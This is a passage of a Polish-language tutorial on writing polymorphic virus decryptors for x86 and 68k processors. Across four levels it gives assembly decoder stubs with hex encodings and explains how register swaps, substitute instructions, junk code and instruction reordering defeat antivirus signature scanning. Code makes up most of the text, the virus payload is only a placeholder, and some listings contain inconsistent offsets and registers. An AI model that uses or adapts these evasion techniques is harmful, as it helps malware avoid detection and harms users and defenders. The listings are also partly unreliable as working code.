:100 b93412 mov cx,(endv-vir)    (1) $50000 41fa0010 lea    vir(pc),a0    (1)
:103 bf1001 mov di,offset vir    (2) $50004 303c1234 move.w #endv-vir,d0  (2)
:106 b2ab   mov dl,0abh          (3) $50008 72ab     moveq  #$ab,d1       (3)

decoder_loop:

:108 3015   xor byte ptr [di],dl (4) $5000a b318     eor.b   d1,(a0)+     (4)
:10a feca   dec dl               (5) $5000c 5301     subq.b  #1,d1        (5)
:10c 47     inc di               (6) $5000e 5340     subq.w  #1,d0        (6)
:10d 49     dec cx               (7) $50010 66f8     bne.b   decoder_loop (7)
:10e 75f8   jne decoder_loop     (8)

vir:

    VIRUS_BODY

endv:

 Ponizej scan-string x86:

 b93412bf1001b2ab3015feca474975f8
               ^^
 A tutaj scan-string 68k:

 41fa0010303c123472abb3185301534066f8
                   ^^
 Jak widzimy zmienny jest jedynie jeden bajt "ab" w kazdym dekoderze, bajt ten
 jest argumentem dla instrukcji deszyfrujacej. Oczywiscie od konstrukcji
 samej procedury deszyfrujacej zalezy czy rozmiar argumentu jest bajtem,
 slowem czy podwojnym slowem.



  Level 2
  -------

  Drugi poziom obejmuje zmiany rejestrow na ktorych operuja instrukcje
  dekodera. Zmianom moga ulegac rowniez argumenty instrukcji dekodujacych.
  Tutaj widac juz wieksze zmiany, choc daleko jeszcze do zaawansowanego
  polimorfizmu. Przyjrzyjmy sie dekoderom by zobaczyc na czym polegaja
  zmiany.

  x86:                               68k:

:100 ba1234 mov dx,(endv-vir)    (1) $50000 4bfa0010 lea    vir(pc),a5   (1)
:103 bb1001 mov bx,offset vir    (2) $50004 383c1234 move.w #endv-vir,d4 (2)
:106 b1ab   mov cl,0abh          (3) $50008 7eab     moveq  #$ab,d7      (3)

decoder_loop:

:108 300f   xor byte ptr [bx],cl (4) $5000a bf1d     eor.b  d7,(a5)+     (4)
:10a fec9   dec cl               (5) $5000c 5307     subq.b #1,d7        (5)
:10c 43     inc bx               (6) $5000e 5344     subq.w #1,d4        (6)
:10d 4a     dec dx               (7) $50010 66f8     bne.b  decoder_loop (7)
:10e 75f8   jne decoder_loop     (8)

vir:

   VIRUS_BODY

endv:


 Na pierwszy rzut oka nie widac zmian, procedura dziala tak jak poprzednia,
 poprawnie deszyfrujac zadany obszar. Jednak porownanie zapisow szesnastkowych
 (sygnatur) ukazuje rzeczywiste zmiany. W polimorficznych deszyfratorach o to
 wlasnie chodzi - aby zachowac zasade dzialania procedury, ale calkowicie
 zmienic jej zapis. Oto sygnatura z powyzszego dekodera w zestawieniu
 z poprzednia, roznice widac od razu:

 x86:

 offset      01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
 pierwsza    b9 12 34 bf 10 01 b2 ab 30 15 fe ca 47 49 75 f8
 druga       ba 12 34 bb 10 01 b1 ab 30 0f fe c9 43 4a 75 f8
             ^^       ^^       ^^       ^^    ^^ ^^ ^^

 68k:

 offset      01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18
 pierwsza    41 fa 00 10 30 3c 12 34 72 ab b3 18 53 01 53 40 66 f8
 druga       4b fa 00 10 38 3c 12 34 7e ab bf 1d 53 07 53 44 66 f8
             ^^          ^^          ^^    ^^  ^^   ^^    ^^

 Ciagle jednak wirus jest latwo wykrywalny przy pomocy scan-stringu ze znakami
 zastepczymi. Jest mozliwa jeszcze jedna zmiana w scan-stringu: wirus moze
 miec zmienna dlugosc i mozliwe sa zmiany w offsetach 02 i 03 (x86) oraz
 07 i 08 (68k).

 Podsumowanie dla x86:
 ---------------------
 Pomijajac przypadkowa zawartosc 8 bajtu dekodera, mozna zauwazyc roznice w
 offsetach: 1,4,7,10,12,13 i 14. W sumie daje to 7 bajtow w roznych miejscach
 ktore ulegaja modyfikacji, plus 8 bajt o losowej wartosci.
 Argument dla w/w instrukcji mozemy przekazac w rejestrach : AL, AH, AX, BL,
 BH, BX, CL, CH, CX, DL, DH, DX, DP, SI, DI. Licznik petli mozemy umiescic w
 rejestrach : AX, BX, CX,

 - instrukcja nr 1 (mov  dx,1234h) jako rejestru moze uzywac wszystkich
   rejestrow uniwersalnych od AX  do DX, obu rejestrow wskaznikowych SI i DI,
   oraz BP (base pointer). Razem daje to liczbe 7  rejestrow. Tutaj jedna
   uwaga, zakladamy ze kod wirusa jed dluzszy niz 1024 bajty, gdyz inaczej
   licznik petli zmiescilby sie w polowce rejestru, np.: AL (gdyby jednak
   rozmiarem operacji bylo slowo, wirus nie moglby byc dluzszy niz 512 bajtow
   itd.).

 - instrukcja nr 2 (mov  bx,0110h) jako rejestru moze uzywac tylko tych
   rejestrow, dla ktorych dozwolony jest tryb adresowania jako rejestr
   indeksowy instrukcji "xor". Moga byc uzyte: BX, DI, SI,

 - instrukcja nr 3 (mov  cl,0abh) moze uzywac zarowno polowek jak i calych
   rejestrow (tutaj 16-bitowych). Razem daje to 15 rejestrow : AL, AH, AX itd.

 - instrukcja nr 4 (xor  byte ptr [bx],cl) uzywa 4 rejestrow, tych samych co
   instrukcja 2

 - instrukcja nr 5 (dec cl) uzywa tych samych rejestrow co instrukcja 3

 - instrukcja nr 6 (inc bx) uzywa tych samych rejestrow co instrukcje 2 i 4

 - instrukcja nr 7 (dec dx) uzywa tych samych rejestrow co instrukcja 1

 - instrukcja 8 (jne :108) nie uzywa zadnych rejestrow, zawiera tylko
   przesuniecie do instrukcji deszyfrujacej  4.

Po podliczeniu wszystkich wariantow danych instrukcji, musimy odjac od nich
te przypadki, w ktorych rejestry powtarzaja sie w instrukcjach nie zwiazanych
z soba zadnym dzialaniem.

Wykonujac proste mnozenie otrzymujemy liczbe osiaganych przez deszyfrator
mutacji:

        7 * (4-1) * (15-1) = 294 rozne mutacje.

Wynik jest niezly jak na ten poziom, ale nie na tyle aby sprawic lepszym
programom antywirusowym jakies wieksze klopoty. W przypadku gdy dla instrukcji
4 rejestrem indeksowym bedzie BP, kod szesnastkowy wydluzy sie z 2 baktow do 3
wtedy konieczne bedzie skorygowanie przesuniecia w instrukcji 8. To samo
dotyczy instrukcji 3, jesli argument zostanie umieszczony w rejestrze
szesnastobitowym, dlugosc instrukcji zwiekszy sie z 2 bajtow do 3. Dlugosc
procedury w wyniku mutacji moze zmieniac sie w zakresie 16 - 18 bajtow.

 Podsumowanie dla 68k:
 ---------------------
Pomijajac losowa zawartosc bajtu pod offsetem 10 (argument instrukcji "eor")
zmianie ulegly bajty pod offsetami: 1, 5, 9, 11, 12, 14 i 17, razem 8 bajtow
ktore zmienily zawartosc po infekcji. Jako ze wszystkie instrukcje procesorow
Motoroli serii 68k maja dlugosc rowna wielokrotnosci dwojki, dlogosc dekodera
nie zmienia sie. Jak widac nie utrudnia to dodatkowo wykrycia programom
antywirusowym jak w przypadku x86, policzmy ilosc mozliwych mutacji dla 68k:

 - instrukcja  nr 1 (lea  $50012(pc),a5) moze uzywac wszystkich rejestrow
   adresowych procesora z wyjatkiem A7, zawiera on wskaznik stosu. 7 rejestrow

 - instrukcja nr 2 (move.w  #$1234,d4) move uzywac wszystkich osmiu rejestrow
   danych.

 - instrukcja nr 3 (moveq  #$ab,d7) moze uzywac wszystkich rejestrow danych.

 - instrukcja nr 4 (eor.b  d7,(a5)+ ) uzywa tych samych rejestrow co instrukcja
   1 i 3

 - instrukcja nr 5 (subq.b #1,d7) uzywa tych samych rejestrow co instrukcja 3

 - instrukcja nr 6 (subq.w #1,d4) uzywa tych samych rejestrow co instrukcja 2

 - instrukcja 7 (bne.b $5000a) nie uzywa zadnych rejestrow, zawiera jedynie
   skok do instrukcji deszyfrujacej 4.

Policzmy analogicznie jak w przypadku PC ilosc mozliwych mutacji osiaganych
przez deszyfrator:

              7 * (8-1) * (8-1) = 343 mutacje

W przypadku 68k wykrycie takiej procedury jest latwiejsze pomimo wiekszej
liczby osiaganych mutacji. Dekoder ma stala dlugosc, dzieki czemu prosciej
bedzie znalezc procedure deszyfrujaca wirusa w zainfekowanym programie.
Offset skoku w instrukcji tworzacej petle nie zmienia sie jak w przypadku
x86, dzieki temu program antywirusowy moze latwiej zlokalizowac dekoder.



 Level 3
 -------

 Tutaj zaczyna si zaawansowany polimorfizm. Dochodzi tutaj zamiana instrukcji
 istotnych dla dzialania dekodera na instrukcje alternatywne lub bloki
 instrukcji alternatywnych, dochodzi wstawianie w dekoder instrukcji nie
 majacych wplywu na proces deszyfracji.
 W przypadku poziomu 3 nie bedziemy sie juz zajmowac liczeniem liczby mozliwych
 mutacji tak skrupulatnie jak przy poziomie 2. Ze wzgledu na znaczna
 komplikacje i trudnosc w oszacowaniu liczby wariantow poprzestaniemy na
 samej procedurze oraz na powierzchownej analizie liczby wariantow.
 Dla pokazania ogromnej liczby mozliwych mutacji jednej procedury,
 postanowilem od poziomu trzeciego umieszczac po dwie procedury dla kazdego
 procesora. Na ponizszych przykladach przesledzmy teraz dzialanie takiej
 procedury (ponizej znajduje sie spis rejestrow uzywanych przez instrukcje
 istotne deszyfratora). Interpretacja znaczenia "instrukcja nie majaca wplywu
 na dekodowanie" moze byc rozna: moze chodzic o instrukcje nie zmieniajace
 rejestrow, albo o instrukcje operujace na innych rejestrach niz petla
 dekodujaca. W praktyce zazwyczaj spotyka sie obydwie grupy instrukcji
 jednoczesnie.

  Ponizej dekoder x86.
ax = licznik
bp = adres pamieci do odszyfrowania danych
cl = argument dla instrukcji "xor"

 Uwaga
 !!!!!

 Instrukcje uzywajace innych rejestrow nie maja zadnego wplywu na przebieg
 procedury. Instrukcje istotne dla przebiegu dekodowania zostaly wyroznione
 numerami (jak w poprzednich dekoderach), instrukcje wyroznione gwiazdka ("*")
 oznaczaja instrukcje podobne do instrukcji istotnych, moga one utrudnic
 analize dekodera przez program antywirusowy.

:100 32d2     xor  dl,dl
:102 86e4     xchg ah,ah
:104 90       nop
:105 b83412   mov  ax,(endv-vir)    (1)
:108 fec6     inc  dx                *
:10a 8a160301 mov  dl,[103]
:10e bd3201   mov  bp,offset vir    (2)
:111 c0ca03   ror  dl,03
:114 d2ea     shr  dl,cl
:116 b1ab     mov  cl,0abh          (3)
:118 f5       cmc

decoder_loop:

:119 02360901 add  dh,[109]
:11d 304e00   xor  byte ptr [bp],cl (4)
:120 bb3412   mov  bx,1234h          *
:123 2af6     sub  dh,dh
:125 3034     xor  byte ptr [si],dh  *
:127 4b       dec  bx                *
:128 fec9     dec  cl               (5)
:12a 43       inc  bx                *
:12b 45       inc  bp               (6)
:12c 83db12   sbb  bx,0012h
:12f 48       dec  ax               (7)
:130 75e7     jne  decoder_loop     (8)

vir:

     VIRUS_BODY

endv:

Od razu widac znaczne zwiekszenie rozmiaru deszyfratora. Pomimo zachowanej
zasady dzialania jego dlugosc wzrosla trzykrotnie (z 16 do 50 bajtow),
znacznie rozniac sie wygladem od swojego pierwowzoru. Zauwazmy ze niektore
instrukcje pozornie nie powiazane z dekoderem utrudniaja analize, z dwoch
instrukcji "XOR seg:[reg16],reg16/8" tylko jedna powoduje dekodowanie wirusa.

Ponizej drugi dekoder:
:100 1c02     sbb  al,2
:102 27       daa
:103 fec7     inc  bh               *
:105 81e3f31e and  bx,1ef3h
:109 8b5f17   mov  bx,[bx+17h]
:10c 684201   push offset vir      (1A)
:10f f5       cmc
:110 5e       pop  si              (1B)
:111 8add     mov  bl,ch
:113 80f43a   xor  ah,3ah
:116 33d2     xor  dx,dx           (2A)
:118 2451     and  al,51h
:11a 81ca3312 or   dx,(endv-vir)-1 (2B)
:11e b9ab00   mov  cx,0abh         (3)
:121 fec0     inc  al               *

decoder_loop:

:123 81efe109 sub  di,09e1h
:127 8a3c     mov  bh,[si]         (4A)
:129 40       inc  ax
:12a 32f9     xor  bh,cl           (4B)
:12c 90       nop
:12d 80cd11   or   ch,11
:130 883c     mov  [si],bh         (4C)
:132 fecb     dec  bl               *
:132 fecd     dec  ch               *
:136 f5       cmc
:137 83c601   add  si,1            (5)
:13a 80e901   sub  cl,1            (6)
:13d d0cc     ror  ah,1
:13f 4a       dec  dx               *
:140 7de1     jnl  decoder_loop    (7)

vir:

     VIRUS_BODY

endv:

Dzialanie procedury:

 - grupa 1, instrukcja "push  offset vir" umieszcza na stosie adres kodu
   przeznaczonego do zdeszyfrowania, a instrukcja "pop  si" umieszcza ten
   adres w rejestrze SI.

 - grupa 2, instrukcja "xor  dx,dx" zeruje rejestr DX, instrukcja druga
   umieszcza w nim licznik petli. Celowo liczba ta jest mniejsza niz w
   poprzednich procedurach, gdyz deszyfrowanie jest przeprowadzane az do
   osiagniecia przez licznik wartosci ujemnej, a nie "0" jak przy JNE).

 - instrukcja 3, umieszcza w CX argument dla "xor"

 - grupa 4, dane do odszyfrowania pobierane sa z pamieci (4A), dekodowane w
   rejetrze danych (4B), a nastepnie ponowne umieszczane w pamieci (4C).
   W poprzednich procedurach deszyfrowanie byo przeprowadzane od razu w
   pamieci.

 - instrukcja 5, jest instrukcja zastepcza dla "dec  si", dziala tak samo,
   ale inaczej wyglada

 - instrukcja 6, to samo co wyzej

 - instrukcja 7, instrukcja skoku zostala zmieniona na inna, co wiazalo sie
   z koniecznoscia zmniejszenia licznika o 1, poniewaz instrukcja "jnl"
   konczy petle przy liczniku -1, a "jne" przy 0.

Deszyfrator zamieszczony powyzej jest dosc duzych rozmiarow, uzywa zastepczych
instrukcji oraz relatywnie duzej ilosci szumow (instrukcji nie zwiazanych
funkcjonalnie z dekodowaniem) w stosunku do instrukcji istotnych. Mozna
przewidziec pewne problemy mogace sie pojawic przy wykrywaniu wirusa
uzywajacego przedstawionego dekodera: w poprzedniej procedurze poziomu
trzeciego dekoder nie uzywal instrukcji zastepczych, zmienial tylko rejestry
na ktorych operuja instrukcje. W praktyce oznacza to czesciowe zachowanie
zapisu szesnastkowego instrukcji, gdyz pole bitowe instrukcji zawierajace
numer rejestru zmienia sie, pozostawiajac reszte instrukcji nienaruszona,
tutaj jednak przy instrukcjach zastepczych mamy dodatkowy problem - trzeba
ustalic maksymalna liczbe "zastepcow" dla kazdej instrukcji, i przeszukac
obszar deszyfratora dla ich zlokalizowania i ustalenia na jakich rejestrach
operuja. Musimy przy tym pamietac o tym, ze takze zastepcze instrukcje moga
operowac na roznych rejestrach co bardzo skutecznie utrudnia skaning z uzyciem
sygnatur. W tym wypadku trzeba szukac kazdej instrukcji po kolei w pliku,
obliczajac jej zapis szesnastkowy przy roznych kombinacjach rejestrow i
sprawdzac czy rejestry na ktorych operuja kolejne instrukcje sa ze soba
powiazane logicznie (pamietajmy ze "szumy" moga stanowic instrukcje bardzo
podobne, operujace czesciowo nawet na tych samych rejestrach). Celowo
opisalem tutaj metode skaningu, choc w praktyce wirusy polimorficzne
wykrywane sa przy pomocy metod heurystycznych lub przez emulacje procesora.

Zajmijmy sie teraz dekoderem skonstruowanym dla 68k:

rejestry uzywane przez instrukcje istotne :
a1 = adres pamieci do odszyfrowania
d5 = licznik
d7 = argument dla instrukcji "eor"

$50000 d344     addx.w  d4,d1
$50002 43fa0028 lea     vir(pc),a1     (1)
$50006 7615     moveq   #$15,d3         *
$50008 7c00     moveq   #0,d6           *
$5000a 4bfa011b lea     $50127(pc),a5   *
$5000e 54c3     scc     d3
$50010 4041     negx.w  d1
$50012 3a3c1234 move.w  #(endv-vir),d5  (2)
$50016 7eab     moveq   #$ab,d7         (3)

decoder_loop:

$50018 b22b1234 cmp.b   $1234(a3),d1     *
$5001c d4cb     adda.w  a3,a2
$5001e bf19     eor.b   d7,(a1)+        (4)
$50020 5ec0     sgt     d0
$50022 4000     negx.b  d0
$50024 5307     subq.b  #1,d7           (5)
$50026 4e71     nop
$50028 5345     subq.w  #1,d6           (6)
$5002a 66ec     bne.b   $50018          (7)

vir:

       VIRUS_BODY

endv:

Na przykladzie przedstawionej procedury mozna zauwazyc ok. dwukrotne
zwiekszenie jej objetosci. Pomiedzy instrukcjami istotnymi zostaly umieszczone
"szumy" majace za zadanie utrudnienie wykrycia wirusa na podstawie
przeszukiwania kontekstowego, czesc z nich moze takie poszukiwanie mocno
utrudnic. Wezmy na przyklad instrukcje pod offsetami $50006,$50008 i $50016.
Sa podobne, jedyna wieksza roznica polega na innej zawartosci drugiego bajtu
instrukcji, pamietamy jednak ze moze on miec dowolna wartosc, a rejestr na
ktorym operuje sama instrukcja moze sie zmieniac. Przed programem antywirusowym
stoi wiec zadanie rozpoznania wlasciwej instrukcji sposrod trzech, pobraniu
danej z tej instrukcji i zdeszyfrowaniu kodu wirusa. Druga para sa dwie
blizniacze instrukcje "lea". Uzywaja one tego samego trybu adresowania
rozniac sie jedynie offsetem bedacym 16-bitowym przesunieciem od instrukcji
do miejsca, ktorego adres wstawiany jest do rejestru adresowego. Na skutek
zmiennosci klucza uzytego do deszyfracji, program antywirusowy moze blednie
odzyskac dane z wirusa potrzebne do wyleczenia pliku, i tym samym zniszczyc
plik. Wreszcie trzecia, ostatnia grupa instrukcji sa instrukcje (2) i
instrukcja "cmp" bedaca pierwsza instrukcja petli. Na pierwszy rzut oka moga
sie wydawac pozbawione zwiazku, jednak polowa ich zapisu szesnastkowego jest
ta sama. Przy wirusie o zmiennej dlugosci, w ktorym obszar do zdeszyfrowania
bedzie mial zmienna dlugosc, zmieni sie takze zawartosc instrukcji (2).

Drugi dekoder:

$50000 b23b1015      cmp.b   $50017(pc,d1.w),d1
$50004 b901          eor.b   d4,d1               *
$50006 2405          move.l  d5,d2
$50008 487a0038      pea     vir(pc)            (1A)
$5000c 4043          negx.w  d3
$50012 0041eabf      ori.w   #$eabf,d1           *
$50016 285f          move.l  (a7)+,a4           (1B)
$50018 4a3b905f      tst.b   $50079(pc,a1.w)
$5001c 4240          clr.w   d0                 (2A)
$5001e 4a86          tst.l   d6
$50020 00401233      ori.w   #(endv-vir),d0     (2B)
$50024 2c3c000000ab  move.l  #$000000ab,d6      (3)

decoder_loop:

$5002a 54c1          scc     d1
$5002c 1e14          move.b  (a4),d7            (4A)
$5002e 9543          subx.w  d3,d2
$50030 bd07          eor.b   d6,d7              (4B)
$50032 18c7          move.b  d7,(a4)+           (4C)
$50034 50cdffdc      dbt     d5,$50012
$50038 ea82          asr.l   #5,d2
$5003a b080          cmp.l   d0,d0
$5003c 04060001      subi.b  #1,d6              (5)
$50040 e253          roxr.w  #1,d3
$50042 5340          subq.w  #1,d0              (6)
$50044 6ce4          bge.b   decoder_loop       (7)

vir:

       VIRUS_BODY

endv:

Z poprzednich instrukcji zostala tylko jedna, ulegla zmianie nawet instrukcja
skoku. Opisze dzialanie grup instrukcji, aby mogli je zrozumiec takze ci,
ktorzy programuja procesor x86:

 - grupa 1, instrukcja "pea" (1A) umieszcza na stosie adres bloku do
   odszyfrowania. Instrukcja 1B sciaga ten adres ze stosu korygujuc go przy
   okazji, i umieszcza ten adres w rejestrze A4.

 - grupa 2, instrukcja "clr" (2A) zeruje rejestr D0, a instrukcja "ori" (2B)
   umieszcza w nim licznik petli.

 - instrukcja 3 jest instrukcja podobna do "moveq", jednak pozwala na
   przeslanie do rejestru danej 32-bitowej, a nie 7-bitowej. Dalsze czynnosci
   procedury wykorzystuja jedynie najmlodszy bajt rejestru D0.

 - grupa 4, tutaj tkwi zasadnicza zmiana w stosunku do poprzedniej procedury.
   Bajt do odszyfrowania jest pobierany z rejestru wskazywanego przez A4 (4A),
   deszyfrowany instrukcja "eor" z argumentem w D6 (4B), a nastepnie kopiowany
   pod adres wskazywany przez A4 (4C). Rejestr A4 zwiekszany jest automatycznie
   przez tryb postinkrement.

 - instrukcja 5, jest podobna do instrukcji "subq", lecz pozwala odjac od
   rejestru liczbe maksymalnie 8-bitowa ("subq" tylko 3-bitowa).

 - instrukcja 6 nie ulega zmianie

 - instrukcja skoku "bge" konczy petle przy liczniku rownym -1 a "bne" przy 0.
   Tutaj mala uwaga, nie jestem pewien czy procesory x86 posiadaja skoki
   warunkowe o offsecie dluzszym niz 7 bitow (najstarszy bit okresla kierunek
   skoku), procesory 68k wykonuja skoki o offsecie 7 i 15 bitowym.

 Po tej dawce tekstu czeka nas czwarty poziom. Jest bardziej skomplikowany od
 poprzedniego, ale wnosi tylko jedna nowa technike...



 Level 4
 -------

 Poziom ten okreslany jest jako najbardziej zaawansowany, jednak jak
 wspomnialem na poczatku rozdzialu, istnieja nowoczesniejsze techniki
 konstruowania zmiennych procedur deszyfrujacych, czym zajmiemy sie
 w rozdziale 8.2e. Co nowego wnosi ten poziom do polimorfizmu ze zasluguje
 na wlasne miejsce? Dochodzi jedna technika, polega ona umieszczaniu
 instrukcji lub blokow instrukcji w dowolnej kolejnosci niezaleznie od siebie,
 lecz tak, by zostala zachowana pelna funkcjonalnosc. Ta dowolnosc posiada
 jednak pewne ograniczenia, np.: instrukcja (lub blok) tworzacy petle musi
 zostac umieszczony jako ostatni. Wynika to z logicznej kolejnosci wykonywania
 operacji przez dekoder. Lecz nie ma potrzeby (kto w przypadku wirusow mowi o
 potrzebach :-), nie ma koniecznosci umieszczania instrukcji w dekoderze po
 kolei, np. zamiast ukladu:

 *,*,*,1A,*,*,1B,*,1C,2,*,*,3A,*,3B itd...

 mozemy zrobic:

 *,*,2,*,3A,*,1A,1B,*,3B,*,*,*,1C,3C itd.

Oczywiscie przyklad, najpierw dla x86:

di = obszar pamieci do deszyfrowania
cx = licznik
dl = argument

:100 13c6     adc  ax,si
:102 24b8     and  al,b8
:104 68ab81   push 81ab           (3A)
:107 b93412   mov  cx,(endv-vir)  (1)
:10a 5a       pop  dx             (3B)
:10b c1e316   shl  bx,16          (2A)
:10e 80f117   xor  cl,17           *
:111 33ce     xor  cx,si           *
:113 8dbf3101 lea  di,[bx+131]    (2B) ;131 = offset vir
:117 3412     xor  al,12
:119 90       nop

decoder_loop:

:11a 2be8     sub  bp,ax
:11c 3015     xor  [di],dl        (4)
:11e 45       inc  bp              *
:11f f8       clc
:120 235916   and  bx,[bx+di+16]
:123 241e     and  al,1e
:125 83c701   add  di,1           (6)
:128 feca     dec  dl             (5)
:12a 32df     xor  bl,bh           *
:12c 3b4212   cmp  ax,[bp+si+12]
:12f e2e9     loop decoder_loop   (7 i 8)

vir:

     VIRUS_BODY

endv:

Tu jedna uwaga do dzialania procedury: ostatnia instrukcja ma dwa numery
jednoczesnie, poniewaz automatycznie zmniejsza rejestr CX w czasie dzialania
petli i kontynuuje ja, az CX osiagnie 0.

Instrukcje zastepcze w powyzszym dekoderze na skutek wzajemnego polozenia
(np. 3A-1-3B) bardzo utrudniaja poszukiwanie kontekstowe wirusa w pliku.
W poziomie trzecim instrukcje istotne sa znajdywane kolejno, a szumy sa
pomijane. Z tych instrukcji pobiera sie potrzebne dane (adres danych do
odszyfrowania, dlugosc i argument dla instrukcji deszyfrujacej) przy pomocy
ktorych mozna zdeszyfrowac wirusa i uzyskac z niego dane potrzebne do leczenia
pliku (oryginalny CS i IP, pierwsze trzy bajty lub instrukcje zmieniona na
skok do kodu wirusa). Przy zmianie rejestrow na ktorych operuja instrukcje,
zmianie instrukcji na alternatywne, oraz zmianie instrukcji miejscami
i wypelnianie deszyfratora szumami moze to nie byc mozliwe. Program
antywirusowy poszukujac instrukcji w kodzie, szuka wlasciwej instrukcji lub
zastepujacych ja rozkazow. W tym przypadku trudno stwierdzic czy instrukcja
ktora wlasnie zostala zakwalifikowana jako nieistotna, nie jest jedna z bloku
zastepczych instrukcji nastepnego lub poprzedniego rozkazu dekodera. Tutaj
tkwi zasadnicza trudnosc w poszukiwaniu wirusa w pliku przy pomocy sygnatur.


Ponizej nastepny deszyfrator:

bp = obszar pamieci do deszyfrowania
dx = licznik
ch = argument

:100 1c01      sbb  al,1
:102 12f8      adc  bh,al
:104 98        cbw
:105 d3cb      ror  bx,cl
:107 8bb71301  mov  si,[bx+113]
:10b 684501    push offset vir     (2A)
:10e f6d9      neg  cl
:110 80c1e1    add  cl,e1
:113 90        nop
:114 c0e508    shl  ch,08          (3A)
:117 5d        pop  bp             (2B)
:118 2451      and  al,51
:11a 80c5ab    add  ch,ab          (3B)
:11d 0ce3      or   al,e3
:11f ba3412    mov  dx,(endv-vir)  (1)

decoder_loop:

:122 bf8a00    mov  di,8a            *
:125 f5        cmc
:126 8a6600    mov  ah,[bp]         (4A)
:129 03db      add  bx,bx
:12b 3ac1      cmp  al,cl
:12d 32e5      xor  ah,ch           (4B)
:12f fecd      dec  ch              (5)
:131 886600    mov  [bp],ah         (4C)
:134 228f1b02  and  cl,[bx+21b]
:138 83ea01    sub  dx,1            (7)
:13b 32f8      xor  bh,al            *
:13d 83c501    add  bp,1            (6)
:140 83fa00    cmp  dx,0            (8A)
:143 75dd      jne  decoder_loop    (8B)

Obydwie procedury deszyfrujace x86 oparte zostaly na tym samym algorytmie:
deszyfrowanie przeprowadzane jest w jednej petli, instrukcje ktorych kolejnosc
jest nieistotna zostaly zamienione miejscami a rozkazy istotne zmienione na
zastepcze badz grupy instrukcji zastepczych. Prosze zwrociz uwage na sposob
umieszczenia argumentu dla instrukcji "xor" w rejestrze w obydwu procedurach,
mozna to zrobic na bardzo wiele sposobow. Im wiecej instrukcji sklada sie na
grupe zastepcza, tym trudniejszy do wykrycia jest dekoder. Jesli wszystkie
instrukcje stosuja tak duza liczbe wariantow instrukcji zastepczych,
to wlasnie ten fakt znaczaco utrudnia odszukanie instrukcji zawierajacych
dane potrzebne do zdeszyfrowania i uniemozliwia sporzadzenie sygnatury wg
ktorej wirus moglby zostac wykryty.


Tutaj kod 68k:
a3 = adres danych do odszyfrowania
d0 = argument
d7 = licznik

$50000 8303         sbcd.b  d3,d1
$50002 5fc6         sle     d6
$50004 06420000     addi.w  #0,d2
$50008 70ab         moveq   #$ab,d0            (3)
$5000a 4001         negx.b  d1
$5000c 487a001c     pea     vir(pc)            (1A)
$50010 e579         rol.w   d2,d1
$50012 943b9005     sub.b   $50019(pc,a1.w),d2
$50016 2e3c00001234 move.l  #(endv-vir),d7     (2)
$5001c 265f         move.l  (a7)+,a3           (1B)

decoder_loop:

$5001e b11b         eor.b   d0,(a3)+           (4)
$50020 04470001     subi.w  #1,d7              (6)
$50024 8c01         or.b    d1,d6
$50026 5300         subq.b  #1,d0              (5)
$50028 66f4         bne.b   decoder_loop       (7)

vir:

       VIRUS_BODY

endv:

Deszyfrator nie jest skrajnie skomplikowany, ale wyraznie pokazuje istote
rzeczy jesli chodzi o 68k. Zasada dzialania jest ta sama co w poprzednich
procedurach, tutaj jednak nastapila zmiana kolejnosci wystepowania niektorych
z nich - nie ma to zadnego wplywu na przebieg deszyfrowania, jednak zadanie
spelnia to samo co w przypadku x86. Ponizej umiescilem nastepny wariant
zbudowany w oparciu o ten sam algorytm, prosze dokonac porownania ponizszej
i powyzszej procedury:

nastepny dekoder:
a3 = adres danych do odszyfrowania
d4 = argument
d5 = licznik petli

$50000 323c1943      move.w  #$1943,d1
$50004 daca          adda.w  a2,a5
$50006 044302cb      subi.w  #$2cb,d3
$5000a e263          asr.w   d1,d3
$5000c 183c00ab      move.w  #$ab,d4            (3)
$50010 9540          subx.w  d0,d2
$50012 b23b900b      cmp.b   $5001f(pc,a1.w),d1
$50016 b306          eor.b   d1,d6
$50018 e670          roxr.w  d3,d0
$5001a d080          cmp.l   d0,d0
$5001c 47fa002c      lea     vir(pc),a3         (1)
$50020 2a3c00001234  move.l  #(endv-vir),d5     (2)

ptla:

$50026 06420003      ori.w   #3,d2
$5002a 1213          move.b  (a3),d1            (4A)
$5002c b407          cmp.b   d7,d2
$5002e 04010000      subi.b  #0,d1
$50032 b901          eor.b   d4,d1              (4B)
$50034 5ec6          sgt     d6
$50036 4800          nbcd    d0
$50038 060400ab      addi.b  #$ab,d4            (5)
$5003c 16c1          move.b  d1,(a3)+           (4C)
$5003e ed91          roxl.l  #6,d1
$50040 4007          negx.b  d7
$50042 04450001      subi.w  #1,d5              (6)
$50046 6a00ffde      bpl.w   decoder_loop       (7)

vir:

       VIRUS_BODY

endv:

 Konczymy juz rozdzial, przedstawie wiec jeszcze po jednej procedurze
 dekodujacej dla x86 i 68k stworzone przez prawdziwe generatory.
 My poslugiwalismy sie uproszczeniami, popatrzmy jak to wyglada naprawde,
 analize pozostawiam na deser.

 x86:

:100 2ec7064b022c10  mov    cs:[24b],102c
:107 b19e            mov    cl,9e
:109 82ce48          or     dh,48
:10c 16              push   ss
:10d d2d6            rcl    dh,dl
:10f feca            dec    dl
:111 7304            jnb    :117
:113 81d84965        sbb    ax,6549
:117 98              cbw
:118 e80200          call   :11d
:11b 8bcc            mov    cx,sp
:11d 21cf            and    di,cx
:11f 27              daa
:120 e81700          call   :13a
:123 4e              dec    si
:124 231a            and    bx,[bp+si]
:126 085428          or     [si+28],dl
:129 6e              outsb
:12a b422            mov     ah,22
:12c 1127            adc     [bx],sp
:12e 13eb            adc     bp,bx
:130 8ac1            mov     al,cl
:132 9c              pushf
:133 833cc3          cmp     [si],ffc3
:136 9d              popf
:137 94              xchg     sp,ax
:138 b065            mov      al,65
:13a 0431            add      al,31
:13c 86d5            xchg     ch,dl
:13e eb09            jmp      :149
:140 61              popa
:141 37              aaa
:142 6d              insw
:143 ab              stosw
:144 a0bcab          mov      al,[abbc]
:147 14f8            adc      al,f8
:149 346e            xor      al,6e
:14b 06              push     es
:14c b054            mov      al,54
:14e 5b              pop      bx
:14f d4              db       d4
:150 e0f5            loopnz   :147
:152 d1e3            shl      bx,1
:154 d4              db       d4
:155 aa              stosb
:156 e80d00          call     :166
:159 852ee71b        test     [1be7],bp
:15d 7d28            jnl      :187
:15f e615            out      15,al
:161 f21e            repnz push ds
:163 6456            push     fs:si
:165 2dcd54          sub      ax,54cd
:168 36fe06c023      inc      ss:[23c0]
:16d 7302            jnb      :171
:16f d4              db       d4
:170 66d1ce          ror      esi,1
:173 59              pop      cx
:174 e80c00          call     :183
:177 b283            mov      dl,83
:179 fd              std
:17a 5a              pop      dx
